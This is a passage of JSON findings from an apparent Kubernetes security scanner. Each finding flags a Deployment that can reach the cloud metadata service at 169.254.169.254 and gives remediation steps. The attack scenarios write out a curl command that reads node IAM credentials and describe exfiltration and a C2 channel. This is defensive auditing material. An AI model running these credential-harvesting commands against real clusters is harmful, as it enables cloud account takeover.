      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:imgswap-fixtures:imgswap-reader-app",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/imgswap-fixtures/imgswap-reader-app` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Deployment/imgswap-fixtures/imgswap-reader-app` runs in namespace `imgswap-fixtures` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Deployment",
      "name": "imgswap-reader-app",
      "namespace": "imgswap-fixtures",
      "api_group": "apps"
    },
    "namespace": "imgswap-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/imgswap-fixtures/imgswap-reader-app`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Deployment/imgswap-fixtures/imgswap-reader-app` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Deployment",
      "workload_name": "imgswap-reader-app",
      "workload_namespace": "imgswap-fixtures"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `imgswap-fixtures` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec imgswap-reader-app -n imgswap-fixtures -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:ingress-only:ingress-app",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/ingress-only/ingress-app` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Deployment/ingress-only/ingress-app` runs in namespace `ingress-only` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Deployment",
      "name": "ingress-app",
      "namespace": "ingress-only",
      "api_group": "apps"
    },
    "namespace": "ingress-only",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/ingress-only/ingress-app`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Deployment/ingress-only/ingress-app` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Deployment",
      "workload_name": "ingress-app",
      "workload_namespace": "ingress-only"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `ingress-only` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec ingress-app -n ingress-only -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:local-path-storage:local-path-provisioner",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/local-path-storage/local-path-provisioner` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Deployment/local-path-storage/local-path-provisioner` runs in namespace `local-path-storage` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Deployment",
      "name": "local-path-provisioner",
      "namespace": "local-path-storage",
      "api_group": "apps"
    },
    "namespace": "local-path-storage",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/local-path-storage/local-path-provisioner`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Deployment/local-path-storage/local-path-provisioner` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Deployment",
      "workload_name": "local-path-provisioner",
      "workload_namespace": "local-path-storage"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `local-path-storage` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec local-path-provisioner -n local-path-storage -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:lp-fixtures:lp-narrow-app",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/lp-fixtures/lp-narrow-app` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Deployment/lp-fixtures/lp-narrow-app` runs in namespace `lp-fixtures` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Deployment",
      "name": "lp-narrow-app",
      "namespace": "lp-fixtures",
      "api_group": "apps"
    },
    "namespace": "lp-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/lp-fixtures/lp-narrow-app`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Deployment/lp-fixtures/lp-narrow-app` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Deployment",
      "workload_name": "lp-narrow-app",
      "workload_namespace": "lp-fixtures"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `lp-fixtures` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec lp-narrow-app -n lp-fixtures -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:lp-fixtures:lp-orphan-app",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/lp-fixtures/lp-orphan-app` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Deployment/lp-fixtures/lp-orphan-app` runs in namespace `lp-fixtures` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Deployment",
      "name": "lp-orphan-app",
      "namespace": "lp-fixtures",
      "api_group": "apps"
    },
    "namespace": "lp-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/lp-fixtures/lp-orphan-app`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Deployment/lp-fixtures/lp-orphan-app` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Deployment",
      "workload_name": "lp-orphan-app",
      "workload_namespace": "lp-fixtures"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `lp-fixtures` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec lp-orphan-app -n lp-fixtures -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:lp-fixtures:lp-wildcard-app",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/lp-fixtures/lp-wildcard-app` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Deployment/lp-fixtures/lp-wildcard-app` runs in namespace `lp-fixtures` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Deployment",
